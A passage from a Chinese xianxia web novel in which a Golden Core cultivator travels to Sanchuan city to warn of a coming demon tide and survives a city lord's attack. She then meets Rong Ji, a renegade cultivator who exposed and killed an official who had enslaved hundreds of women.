她想得到更详细的信息,诸如断野关那时一样,却换来身体被抽空的感觉,其余什么都没有,看来这次的天机她不能知晓大多太细。
在张苔的胡思乱想中,赤阳真人思索片刻,“若你暂无所需,我们金虹门便记下这份人情。他日若有为难之处,可凭此令寻我门下任何一处据点求助。”
一枚赤金令牌无声滑至张苔面前的矮几上。令牌古朴,正面浮雕着熊熊烈焰,背面只有一个篆体字“虹”。
张苔依言珍重拿起道谢,并收入储物法器之中。
赤阳真人:“此次离开,可有目的地?”
张苔知晓对方这不过是一次随意寒暄,她也可以随便扯个地方糊弄过去,但总归她还是个实诚人,或者说,抱着什么期待,最终还是迟疑着道,“三川仙城。”
赤阳真人听到这个地点,一双虎目中多了几分认真,“怎么想到去那里?那里可不太平,照目前传来战报的趋势,三川仙城在未来有可能被魔物大军兵临城下。”
张苔有些无奈,“是的,正是如此,我才想着过去看看,找找有没有我能发挥作用的地方,反正假若魔潮真的席卷至三川仙城,我应该也能逃脱。”
她又有些赧然,人家掌门估计在心底嘲笑她不自量力吧。
在人家掌门眼里,魔潮可能在抵达三川仙城就被清剿,完全没她什么事,若是真的波及三川仙城,她一个小小金丹,真去了又能造成什么影响呢?
但是无所谓了,三川这趟她必须走。
一是做不到能预知却完全没行动眼睁睁看着三川遭到浩劫的良心,二是想尝试去改变一下原有的事实发展,来论证或许自己也能逃脱必死命运的迫切。
从铁索关离开,张苔先御剑抵达关内就近的悬镜镇,找拥有三川仙城附近阵引的阵师买了个传送阵盘,抵达了三川仙城附近。
由于魔物大军不断推进的消息,三川仙城的城墙外排着老长的队伍,张苔排队检查一系列琐事后,入城的时候已经是当天正午。
一进三川仙城,就听了一耳朵最近东南域这边最热闹的被广大修士凡人讨论的风闻,基本上走哪都听得到讨论。
原是东南三大统辖势力之一的清衍学宫丹院院主暴毙,尸身千疮百孔,且经仵作检验是被生生折磨而死。
这家伙死有余辜,明面上端人正士,暗地里利用在清衍仙城所下设的道院,不断使面容倾城的女修,在现实里“死亡”或“失踪”,实则成为他的禁脔,玩腻了就扔在某偏僻山峰所修筑的别苑,千年来总计数百女修。
手段淫邪,那些被他抛弃的女修至今身上的媚药未解,发现的时候,她们还在使用别苑存在的大量淫器纾解。
这些女修,身份从底层乡野到清衍学宫的某长老爱女,修为从金丹到化神(可能也存在更低的只是寿命不足早早死了),修炼体系从大众的法修到冷门的毒修等都有,唯一一个相似点就是极度貌美。
失踪的修士家人不乏寻找女儿的,但此丹院院主利用手中权柄,容易对付的就使其家破人亡,难对付一点的就转移对方注意力,诸如清衍学宫那位寻找爱女的长老则是遭遇“美人计”,没多久又拥有了一个女儿,先前的女儿便忘到九霄云外去了。
大部分人对这则消息还是比较义愤填膺的,小部分心术不正在暗处求问影像的也有正义之士出手教他们做人。
加上张苔心中有事,也没刻意关注这些,她先是去了一趟城主府,询问执事人员对于前方的魔物大军的看法以及有无防备措施,结果被打了出来。
然后她又找着布告榜,根据三川仙城的城主行程准备堵人。
57. 三川(二)
化神威压如万仞山倾,轰然砸落!
张苔身形骤然僵死,《孤鸿掠影》的灵光瞬间溃散,周身骨骼发出不堪重负的呻吟。灵力冻结,血液逆流,死亡的冰冷触感清晰扼住咽喉。
要死!
那道必杀术法气机落在自己身上,她必死无疑!
但化神威压将她死死摁在原地,半分动弹不得。
脑袋一片空白,明明心中对活命极其渴求,但却是转动不了半点,眼睁睁傻愣着等待死亡!
她不想死!
她不想死!
她不想死!
像是听到了她内心深处的呐喊,丹田深处,金丹疯狂剧震!
核心处那一点至精至纯的丹元,在这极致的紧迫和压力下,骤然向内塌缩、凝聚!
嗡——!
一声唯有张苔自己能听见的、清越而玄妙的震鸣从丹田传出!
金丹未碎,但其核心处,一点朦胧虚幻、盘膝而坐的婴儿虚影,若隐若现!虚影极其黯淡,仿佛一口气就能吹散,且与金丹本体仍有千丝万缕的联系,并未彻底独立。
半步元婴!
这不是水到渠成的晋升,而是在毁灭边缘被强行挤压、淬炼出的不完整状态!它极度不稳,随时可能溃散,甚至反噬。但这一刻,它确确实实为张苔带来了一瞬间质变的灵识与对自身力量更精微的掌控!
《扛势淬身经》自主运转到极致,结合《扛势淬身经》逆转泄压产生的、混乱却狂暴的反弹力道,全部集中于双腿——
“给我……开!”
她低吼一声,身影不是飘逸闪躲,而是如同被一股无形巨力从原地狠狠“弹”了出去!
“砰!哗啦——!”
后背狠狠一痛,她撞穿街边一堵矮墙,摔进堆满杂物的后院,激起漫天尘土。
但好歹确实躲开了化神大能的必杀一击,捡回一条性命。
高阶上,身着紫袍的三川仙城城主苏延负手而立,眼中掠过一丝微不可查的讶异。
“拿下!”卫兵头领怒喝。
“且慢。”苏延开口,声音平淡,却让所有人动作凝固。
他目光落在勉强撑起身的张苔脸上,审视片刻。
“实力尚可,胆魄也有。”他语气听不出褒贬,“但这不是你在此妖言惑众、动摇城防的理由。”
“魔潮将至?”苏延缓缓走下高阶,每一步都像踩在众人心尖,“谁告诉你的?当无相山庄的一干弟子是死的吗?哪怕如此,我三川仙城的防务又岂是你一介草民可以知晓?”
他停在张苔面前,居高临下。
“本城主不管你有何缘由借口,听好了。”他声音陡然转冷,周遭空气瞬间冻结,“三川仙城的防务,轮不到你等指手画脚。今日这么多父老乡亲在这看着,我便饶你不死,若有下次...”
他没有说完。
但那股比方才更森寒、更刺骨的杀意,已如冰锥刺入在场每个人的神魂。
张苔喉咙发紧,刚从鬼门关走过一遭的她,不敢再说什么。
苏延不再看她,转身,带着身边浩浩荡荡一群卫兵离开。
不想听远远围观着的那些人的评头论足,张苔封了耳边听力,运转身法,迅速消失在当场。
七拐八拐到了一个僻静处,张苔以头抵墙撞了几下。
当真是被鬼迷了心窍,她居然敢直接蹲守在城主必经之路上,对着城主发问,对方可是化神修为,身边又围着一群化神大能。
有了金虹门的顺利遭遇,就以为天下的上位者都是那样了吗?
三川仙城的城主也是个狠人,当街杀人,哪怕自己的行为确实冒犯,但这样做他是半点不怕寒了民心呐。
得亏关键时刻,自己修为给了突破了半阶,超出《扛势淬身经》的局限——只能够挣脱跨越两个大境界的威压,从出窍威压上升为化神威压,不然今天真得去见阎王爷了。
现在她还后怕着。
算了,有些大事,真的不是她这个小小金丹可以介入和撼动的,眼下最重要的,是赶紧离开找个偏僻落脚点,将修为稳固甚至直接冲击元婴!
她先是找了一间客栈,定了半日时间,在凝时碎片的作用下,用掉最后两块极品灵石,花了十日时间,将半步元婴的修为彻底稳固下来。
出了客栈,张苔准备前往阵法阁之类的地方。
现在她手里还剩下三十多块上品灵石,曾经她用一块极品灵石打散换成一百块上品灵石花用,用着用着只剩下三十多块了,待会儿找个有其他远方仙城阵引的阵师刻录个传送阵盘,大概还会花个三块四块上品灵石。
在路上溜溜达达着,青石板路被岁月磨得温润,两旁店铺旗幡招展。
“百味斋”里飘出诱人的灵食香气;“异闻阁”门口的水镜正滚动播放着最新的消息见闻和通缉画像;售卖偏远地域风物志的摊位后是个凡人在吆喝叫卖......
很有生机人气的景象,实在难以想象四日之后,被魔物大军入侵,变为炼狱的样子。
张苔摇摇头,甩掉自己内心的惋惜同情,这种事情如果成真,她也无可奈何,想再多也是庸人自扰。
仙城的店铺是很多的,不久后张苔找着一间专门售卖阵盘的,买下一个传送到距离铁索关最近的仙城的城门口的传送阵盘,付了八块上品灵石。
魔物大军冲破断野关,哪怕到三川仙城还有好几个镇,但到底还是有影响的,抵达铁索关的那个仙城距离的阵盘,往日也就售卖三块上品灵石,价格直接翻了两倍多。
“你这传送阵盘应该没有问题吧?我能直接在你店里使用吗?如果不能把我传送走,我当场找你换。”
店主:“肯定没问题的,我还会诓你不成?你是外地来的吧?”
“周围都知道我是从山河阵宗出来的六阶阵师,这店开在这里十多年了都,你用你用你用,不存在你传送不走的,出现了我不仅给你换,那八块上品灵石我还赔给你。”
主要是张苔自个穷了,再加上魔物风波,传送阵盘紧俏,所以也怕买到假货被骗。
店主这么说,她也不会不好意思,真要当场给用了。
调动灵力,她还没来得及输入阵盘,一个戴着宽大斗笠的身影,悄无声息地出现在她身后,修长、骨节分明的手扣在了她的肩上。
整个过程快的只在眨眼之间,张苔连反应都来不及给。
但没有感觉到来者恶意,她也就任由身体被那种柔和力量裹挟,主要是对方实力远在她之上,她反抗也反抗不了。
“走。”
周遭的喧嚣就像被一刀切断,瞬间褪成模糊的背景杂音,她眼前一花,下一瞬,人已经出现在一处僻静巷道深处。
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附近的住宅无人,不知是不是听到魔物大军靠近的消息还是感到害怕而提前跑路了。
斗笠人松开手,在她面前站定。宽大的灰色麻布斗笠遮住了大半身形,只露出一个线条清晰、略显苍白的下颌,以及一缕从笠沿泄出的、鸦羽般漆黑柔滑的发丝。
她和斗笠人的周围竖起了一道隔音结界。
张苔内心无语,这估摸着又是一位化神。
她最近是不是捅了化神的窝了?这样稀有的存在,有些修士穷极一生好几百年才偶尔遇到几位,近日被她连连遇到。
不过谢天谢地,这位化神总归没有丝毫要找她麻烦乃至杀她的意思,所以她的心态还是比较放松的。
隔音结界无声形成,斗笠人开口,声音透过笠纱传来,有些微的失真,却异常清晰平静。
“我名容寂,很认同你质询城主有关三川仙城防务情况的做法,遭到拒绝驱赶后,不知道友下一步做何打算。”
张苔:?
不敢当你这句道友,大能你可是化神大能诶,这种事情的决断不应该是你自己决定吗?询问她一个半步元婴是什么意思?
等等,“你说你叫什么?!”
斗笠人:“容寂。”
张苔:“是那个虐杀人面兽心丹院院主、大闹清衍学宫的容寂?!”
斗笠人的个子很高,即使是简单的素色布袍,也掩不住那宛如孤竹般修长挺直、却又暗含韧劲的轮廓。
听到张苔的疑问,她微微颔首,“是我。”
得到肯定答复,张苔惊讶地深吸一口气,这位实在值得钦佩。
据三川仙城凡人修士谈论所言,这位同样是丹院院主盯上的目标,还中招了,数百位女修完全无法抵抗、至今还在生效的淫药媚药,她愣是凭借远超常人的意志力、隐藏的底牌或者特殊的功法等,在关键时刻挣脱控制,送玩脱的丹院院主上路。
清衍学宫查到她、通缉她,她也是心理强悍,反手把自己中招,丹院院主施加在自己身上诸般淫邪手段的影像公布于众。
等自己“声名大噪”了,便打上清衍学宫,斥责大骂作为统治阶层,清衍学宫的糜烂与权力不受制约,让一衣冠禽兽之徒的罪行持续千年,涉及众多背景不同的女修而安然无恙。
同时将自己大闹清衍学宫的整个过程,实时用留影法具在各大茶楼酒馆放映,用舆论施压,迫使清衍学宫彻查丹院院主及相关作恶人等,让关在丹院院主别苑中的那些女修重新见到天日。
张苔:“大能你怎么跑三川仙城来了?”
斗笠人容寂微不可查的叹了口气,“无相山庄腐败无能,三川仙城危在旦夕。”像是意识到这么说不合适,她顿了顿,补充道,“在我看来如是。”
“所以来此,愿尽绵薄之力。”
张苔被打击到了:“你能在清衍学宫众多大能、阵法禁制之下来去自如,怎么会是绵薄之力?你直接闯进城主府,把刀架城主脖子上,让他好好搞仙城防务,将老弱病残普通凡人有序转移走,不就成了?”
说完后,容寂没有回答,只是目光视线长久地凝视着她。
张苔也意识到,或许自己看问题有些太简单?可是不从一城之主入手,还有别的法子吗?
就在张苔凝神反思别的入手方向时,容寂点头:“行,现在我们去会会苏延那个老匹夫。”